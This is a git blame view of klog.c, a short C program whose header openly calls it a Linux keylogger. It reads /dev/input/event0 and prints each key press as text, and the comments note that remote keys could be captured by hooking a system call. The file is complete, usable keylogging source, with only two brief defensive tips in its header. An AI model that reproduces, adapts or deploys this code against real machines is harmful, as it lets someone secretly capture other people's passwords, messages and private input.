GIT.Harvie.CZ / mirrors / ArchLinux-Packages.git / blame
| Commit | Line | Data |
|---|---|---|
| 209feeb0 H |
1 | /* klog.c v0.6 |
| 2 | * <~~Harvie 2oo8 | |
| 3 | * THX2: Dayvee (Idea), | |
| 4 | * joe@aol.com (Reversing), | |
| 5 | * -=Punka][Tux=- (BugReport), | |
| 6 | * Warriant's code (Inspiration), | |
| 7 | * Linus (God Blessed Linux) | |
| 8 | * | |
| 9 | * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,) | |
| 10 | * In other words: this is keylogger for Linux. | |
| 11 | * If you have more keyboards, try other events (event1, ...eventX). | |
| 12 | * Only local keyboard is supported, | |
| 13 | * remote keys can be captured by hooking on SYS_read() system call. | |
| 14 | * | |
| 15 | * Build: | |
| 16 | * - gcc argv[0].c -o argv[0] | |
| 17 | * | |
| 18 | * Usage (all examples do the same): | |
| 19 | * - cat /dev/input/event0 | argv[0] | |
| 20 | * - argv[0] /dev/input/event0 | |
| 21 | * - argv[0] - | |
| 22 | * | |
| 23 | * Adding new keystroke values: | |
| 24 | * - <XXX> = keystroke id | |
| 25 | * - set MAXSTROKE to 0 to get only keystroke values | |
| 26 | * | |
| 27 | * Defensive security: | |
| 28 | * - chown & chmod /dev/input/event0 | |
| 29 | * - don't give cheap root to everybody | |
| 30 | */ | |
| 31 | ||
| 32 | #include <stdio.h> | |
| 33 | #include <stdlib.h> | |
| 34 | #include <signal.h> | |
| 35 | #define DEFAULTINPUT "/dev/input/event0" | |
| 36 | ||
| 37 | #define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted) | |
| 38 | char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: | |
| 39 | "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", | |
| 40 | "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", | |
| 41 | "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", | |
| 42 | "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", | |
| 43 | "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", | |
| 44 | "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", | |
| 45 | "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]", | |
| 46 | "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n", | |
| 47 | "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>", | |
| 48 | "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]", | |
| 49 | "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", | |
| 50 | "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]" | |
| 51 | /* Hint: | |
| 52 | [CAPSL][ESC] = CapsLock On | |
| 53 | [CAPSL] = CapsLock Off | |
| 54 | [NUML]<0> = NumLock On | |
| 55 | [NUML] = NumLock Off | |
| 56 | 3[ESC]3 = Escape | |
| 57 | */ | |
| 58 | }; | |
| 59 | ||
| 60 | void cleanup(void) { | |
| 61 | fclose(stdin); | |
| 62 | fclose(stdout); | |
| 63 | } | |
| 64 | ||
| 65 | static void sigint_handler(int signo) { | |
| 66 | exit(0); | |
| 67 | } | |
| 68 | ||
| 69 | int main(int argc, char *argv[]) { | |
| 70 | ||
| 71 | atexit(&cleanup); | |
| 72 | signal(SIGINT, &sigint_handler); | |
| 73 | signal(SIGTERM, &sigint_handler); | |
| 74 | signal(SIGQUIT, &sigint_handler); | |
| 75 | signal(SIGSEGV, &sigint_handler); | |
| 76 | ||
| 77 | ||
| 78 | FILE *ftest; | |
| 79 | printf("Reading data from: "); | |
| 80 | if(argc > 1 && argv[1][0] != '-') { | |
| 81 | ftest = freopen(argv[1], "rb", stdin); | |
| 82 | printf("%s\n", argv[1]); | |
| 83 | } | |
| 84 | if(argc > 1 && argv[1][0] == '-') { | |
| 85 | ftest = freopen(DEFAULTINPUT, "rb", stdin); | |
| 86 | printf("%s\n", DEFAULTINPUT); | |
| 87 | } | |
| 88 | if(argc == 1) { | |
| 89 | printf("STDIN\n", argv[1]); | |
| 90 | } | |
| 91 | ||
| 92 | if(ftest == NULL) { | |
| 93 | printf("Failed to open file!\n\n"); | |
| 94 | return(1); | |
| 95 | } | |
| 96 | ||
| 97 | printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE); | |
| 98 | ||
| 99 | unsigned char keystroke[17]; | |
| 100 | while(1) { | |
| 101 | read(0, keystroke, 16); | |
| 102 | if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) { | |
| 103 | if(keystroke[10] <= MAXSTROKE) { | |
| 104 | printf("%s", strokes[keystroke[10]]); | |
| 105 | } else { | |
| 106 | printf("<%d>", keystroke[10]); | |
| 107 | } | |
| 108 | } | |
| 109 | } | |
| 110 | ||
| 111 | } |